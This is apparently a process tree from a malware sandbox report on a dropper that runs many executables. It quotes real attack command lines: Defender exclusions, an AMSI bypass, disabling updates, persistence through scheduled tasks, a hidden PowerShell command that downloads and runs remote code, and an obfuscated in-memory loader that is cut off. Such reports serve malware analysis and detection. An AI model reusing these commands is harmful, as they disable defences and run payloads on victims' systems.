C:\Windows\system32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\system32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c update0.bat3⤵
-
-
C:\Windows\system32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\system32\a\GARO%20X.exeGARO%20X.exe3⤵
-
-
C:\Windows\system32\a\NanoCore_Portable.exeNanoCore_Portable.exe3⤵
-
-
C:\Windows\system32\a\01.exe01.exe3⤵
-
-
C:\Windows\system32\a\lol.exelol.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 16316 -s 1564⤵
- Program crash
-
-
-
C:\Windows\system32\a\RustMeDebyg.exeRustMeDebyg.exe3⤵
-
-
C:\Windows\system32\a\EDMSLauncherSetup.exeEDMSLauncherSetup.exe3⤵
-
-
C:\Windows\system32\a\LOIC.exeLOIC.exe3⤵
-
-
C:\Windows\system32\a\Client-built.exeClient-built.exe3⤵
-
-
C:\Windows\system32\a\Client.exeClient.exe3⤵
-
-
C:\Windows\system32\a\steamcmd.exesteamcmd.exe3⤵
-
-
C:\Windows\system32\a\jqqvLru0VAiH3z.exejqqvLru0VAiH3z.exe3⤵
-
-
C:\Windows\system32\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Windows\system32\a\x64-setup.exex64-setup.exe3⤵
-
-
C:\Windows\system32\a\1210.exe1210.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 23420 -s 1444⤵
- Program crash
-
-
-
C:\Windows\system32\a\win.exewin.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'; Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'; Add-MpPreference -ExclusionProcess 'services.exe'; Add-MpPreference -ExclusionPath 'C:\Windows\System32'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Explorer'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i dev.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\offlinepackv4.exeofflinepackv4.exe3⤵
-
-
C:\Windows\system32\a\37cqsj.exe37cqsj.exe3⤵
-
-
C:\Windows\system32\a\pieletJF.exepieletJF.exe3⤵
-
-
C:\Windows\system32\a\%E6%98%9F%E7%A9%BA%E9%AD%94%E5%9F%9F.exe%E6%98%9F%E7%A9%BA%E9%AD%94%E5%9F%9F.exe3⤵
-
-
C:\Windows\system32\a\1488.exe1488.exe3⤵
-
C:\Windows\system32\a\1488.exe"C:\Windows\system32\a\1488.exe"4⤵
-
-
-
C:\Windows\system32\a\NanoCore_Portable.exeNanoCore_Portable.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File amsibypass.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\Microsoftbs.exeMicrosoftbs.exe3⤵
-
-
C:\Windows\system32\a\Pinaview.exePinaview.exe3⤵
-
-
C:\Windows\system32\a\mvc3.exemvc3.exe3⤵
-
-
C:\Windows\system32\a\agent.exeagent.exe3⤵
-
-
C:\Windows\system32\a\GMSSetupX86.exeGMSSetupX86.exe3⤵
-
-
C:\Windows\system32\a\lol1.exelol1.exe3⤵
-
-
C:\Windows\system32\a\haozip_v6.5.2.11245.exehaozip_v6.5.2.11245.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Payment_Receipt_11_28_2025.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\chrome_134.exechrome_134.exe3⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\a\cd4.execd4.exe3⤵
-
-
C:\Windows\system32\a\ksv.exeksv.exe3⤵
-
-
C:\Windows\system32\a\%C3%83%C2%A5%C3%82%C2%A5%C3%82%C2%87%C3%83%C2%A5%C3%82%C2%A6%C3%82%C2%99%C3%83%25...~311~...%EF%BF%BD%C3%82%C2%A8_2_10004379.exe%C3%83%C2%A5%C3%82%C2%A5%C3%82%C2%87%C3%83%C2%A5%C3%82%C2%A6%C3%82%C2%99%C3%83%25...~311~...%EF%BF%BD%C3%82%C2%A8_2_10004379.exe3⤵
-
-
C:\Windows\system32\a\AvamarConsoleMultiple-windows-x86_64-7.2.1-32.exeAvamarConsoleMultiple-windows-x86_64-7.2.1-32.exe3⤵
-
-
C:\Windows\system32\a\file.exefile.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c wp.bat3⤵
-
-
C:\Windows\system32\a\Installer.exeInstaller.exe3⤵
-
-
C:\Windows\system32\a\yc.exeyc.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\aqpnJFzZfTWv9X7C\Algx554Zbe2N.exeC:\Users\Admin\AppData\Local\Temp\aqpnJFzZfTWv9X7C\Algx554Zbe2N.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5924 -s 5802⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5924 -ip 59241⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding BB3CE517973D24BC39FAD14A42236791 C2⤵
-
C:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exeC:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{6759C6B7-CC26-418E-BFB1-D7D3EFB0A16B}3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exeC:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{B469C550-B798-48A6-A23A-FC3A1C746616}3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exeC:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{8046E16C-7194-42C1-9C5D-476334F131D5}3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exeC:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{4D337DCD-92E9-4959-87DC-41E329A1823D}3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exeC:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{6D4DBBCC-C82A-44BC-8DB6-E5F00907A9B2}3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exeC:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{FF45D3F8-517D-4943-B09E-7D1D90CA429B}3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exeC:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{BA9C3149-CFCF-46E2-AA1F-7E825860929B}3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exeC:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{48AF9022-028E-4695-A190-24A61FBF6049}3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exeC:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{6850EBE5-5574-4C4C-979D-2F5ECFDA6E5A}3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exeC:\Users\Admin\AppData\Local\Temp\{53BEBF2F-1246-4E4E-9DC5-F93A91130B14}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{1B45A40D-99CA-4D56-BF92-DB8CA51DFC20}3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{BE0615C0-5CA9-4AF1-9D68-B01122A750BC}\Vol_Generato16.exeC:\Users\Admin\AppData\Local\Temp\{BE0615C0-5CA9-4AF1-9D68-B01122A750BC}\Vol_Generato16.exe3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 6BAB3503A02A60AE29CB9D89C3AB6D6C C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding EF6202DC4E195A2CDEF7EAE6F5680839 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5143.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240743484 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9CCF09C69327D89F200E2C7EE50F5EE6 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI67F7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240750343 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 2DC37E713360BF9DFB817F46EF3D9A30 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI67F8.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240754281 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 2B16E2484E3142E5367B7ECFF5C694BB C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIAE18.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240768062 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding E43DAF4E49E3B242B85C4150C7BF0506 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7C17.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240832375 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 10BC75621FE94EEAA30771DE21B2BE09 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI71D1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240906203 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 3F36978206CEDFF4B94B6BD225AF8B23 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIDD9B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240980109 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding D3DFB3993BED32F85F89150860A22F2F C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF45F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240999593 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding CD4F43CD5A06A39619662EDA3E45DA8D C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIE02B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241031843 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding B5BCCE20EEE435100004D235F09E6FAC C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIED5A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241045656 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding D32569C5C0955ADDF549E4BF6276C8E7 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIEAD9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241060531 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\go.exe"C:\Users\Admin\AppData\Local\Temp\a\go.exe" service1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\go.exe"C:\Users\Admin\AppData\Local\Temp\a\go.exe" Global\GotoHTTP_12⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\CentraStage\CagService.exe"C:\Program Files (x86)\CentraStage\CagService.exe"1⤵
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\CentraStage\scvncctrl.dll"2⤵
-
C:\Windows\SysWOW64\regsvr32.exe/s "C:\Program Files (x86)\CentraStage\scvncctrl.dll"3⤵
-
-
-
C:\ProgramData\CentraStage\Temp\d2faf87a-9a19-4b1c-bdb3-3e235a0343c8\AEMAgent.exe"C:\ProgramData\CentraStage\Temp\d2faf87a-9a19-4b1c-bdb3-3e235a0343c8\AEMAgent.exe" --version2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\n743.exe"C:\Users\Admin\AppData\Local\Temp\a\n743.exe" ..1⤵
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
-
C:\Program Files (x86)\CentraStage\Gui.exe"C:\Program Files (x86)\CentraStage\Gui.exe"1⤵
-
C:\Program Files\Hola\app\updater64.exe"C:\Program Files\Hola\app\updater64.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Hola\app\updater64.exe"C:\Program Files\Hola\app\updater64.exe"1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\Google\Chrome.exeC:\Users\Admin\AppData\Roaming\Google\Chrome.exe1⤵
-
C:\Windows\system32\schtasks.exe"schtasks" /create /tn "Google Chrome" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Google\Chrome.exe" /rl HIGHEST /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k PPTVServiceGroup1⤵
-
C:\Windows\system32\a\UniversalBrowser.exeC:\Windows\system32\a\UniversalBrowser.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k PPTVServiceGroup1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" -background1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" -Embedding1⤵
-
C:\Program Files (x86)\PPLive\PPTV\PPLive.exe"C:\Program Files (x86)\PPLive\PPTV\PPLive.exe" /LoadModule "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\components\IEBrowser.dll" -N "http://list.client.pplive.cn/v31/index/1.html"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Rnts.exeC:\Users\Admin\AppData\Local\Temp\Rnts.exe1⤵
-
C:\PROGRA~2\PPLive\PPTV\PPLive.exeC:\PROGRA~2\PPLive\PPTV\PPLive.exe1⤵
-
C:\PROGRA~2\PPLive\PPTV\3.1.5.0065\PPLiveU.exe"C:\PROGRA~2\PPLive\PPTV\3.1.5.0065\PPLiveU.exe" /LoadModule ProductUpdate.dll /B /P1 1 /P2 9000 /W1 1342402⤵
-
-
C:\PROGRA~2\PPLive\PPTV\3.1.5.0065\PPLiveU.exe"C:\PROGRA~2\PPLive\PPTV\3.1.5.0065\PPLiveU.exe" /LoadModule ProductUpdate.dll /B /P1 1 /P2 9000 /W1 1342402⤵
-
-
C:\PROGRA~2\PPLive\PPTV\3.1.5.0065\PPLiveU.exe"C:\PROGRA~2\PPLive\PPTV\3.1.5.0065\PPLiveU.exe" /LoadModule ProductUpdate.dll /B /P1 1 /P2 9000 /W1 1342402⤵
-
-
C:\PROGRA~2\PPLive\PPTV\3.1.5.0065\PPLiveU.exe"C:\PROGRA~2\PPLive\PPTV\3.1.5.0065\PPLiveU.exe" /LoadModule ProductUpdate.dll /B /P1 1 /P2 9000 /W1 1342402⤵
-
-
C:\ProgramData\WindowsDataC.exeC:\ProgramData\WindowsDataC.exe1⤵
-
C:\Windows\system32\conhost.execonhost.exe1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe2⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exeC:\Users\Admin\AppData\Roaming\SubDir\updater.exe1⤵
-
C:\Windows\system32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\96dnoNFSIGND.bat" "2⤵
-
C:\Windows\system32\chcp.comchcp 650013⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"3⤵
-
C:\Windows\system32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\q5lwEEgi9VGT.bat" "4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
-
C:\Windows\system32\conhost.execonhost.exe --headless C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -ExecutionPolicy Bypass -WindowStyle Hidden -Command "sal psv1 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe; .(gal ?rm) 79.8141710/task | .('ROGieROGx'.Replace('ROG', ''))}"1⤵
- Hide Artifacts: Hidden Window
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -ExecutionPolicy Bypass -WindowStyle Hidden -Command "sal psv1 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe; .(gal ?rm) 79.8141710/task | .('ROGieROGx'.Replace('ROG', ''))}"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\SysWOW64\._cache_Synaptics.exe" Admin3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DGaTntNwgAES{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NxvTbIZDuUwQSr,[Parameter(Position=1)][Type]$zbaKEaKSrm)$QuzNkaitIrY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+'ga'+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+'Mo'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+'De'+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+'eT'+'y'+''+'p'+'e',''+[Char](67)+'l'+'a'+''+[Char](115)+'s'+[Char](44)+'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d,'+'A'+''+'n'+''+'s'+'iC'+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](65)+'ut'+[Char](111)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$QuzNkaitIrY.DefineConstructor(''+[Char](82)+''+[Char](84)+'Sp'+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+'e'+''+','+'H'+'i'+''+'d'+''+[Char](101)+''+'B'+''+[Char](121)+'Sig'+','+''+[Char](80)+'u'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$NxvTbIZDuUwQSr).SetImplementationFlags('Ru'+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+'e'+'d');$QuzNkaitIrY.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+'k'+''+'e'+'','P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+'y'+'S'+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+'e'+''+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$zbaKEaKSrm,$NxvTbIZDuUwQSr).SetImplementationFlags('Ru'+'n'+'ti'+[Char](109)+'e,M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+'d');Write-Output $QuzNkaitIrY.CreateType();}$JUNJoBUwmSaIv=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+'l'+'')}).GetType('M'+'i'+'c'+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+'t'+'.'+'W'+'i'+''+'n'+''+'3'+''+'2'+''+'.'+''+[Char](85)+''+'n'+''+[Char](115)+''+'a'+''+'f'+''+[Char](101)+''+[Char](78)+''+'a'+''+'t'+'iv'+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$NWWHshKiJYXzLl=$JUNJoBUwmSaIv.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+'dd'+[Char](114)+''+'e'+'ss',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$dQTmuFqQofQVcrdgIIj=DGaTntNwgAES @([String])([IntPtr]);$EbiAQAbnWrpNmAXCtWVePU=DGaTntNwgAES @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FJxtRxzwvJD=$JUNJoBUwmSaIv.GetMethod('G'+[Char](101)+'t'+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+'.'+'d'+[Char](108)+''+[Char](108)+'')));$NtZjUwrMYACcST=$NWWHshKiJYXzLl.Invoke($Null,@([Object]$FJxtRxzwvJD,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+'L'+'i'+''+'b'+''+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$FfyAMpKaVBYtOkqsa=$NWWHshKiJYXzLl.Invoke($Null,@([Object]$FJxtRxzwvJD,[Object](''+'V'+''+[Char](105)+'r'+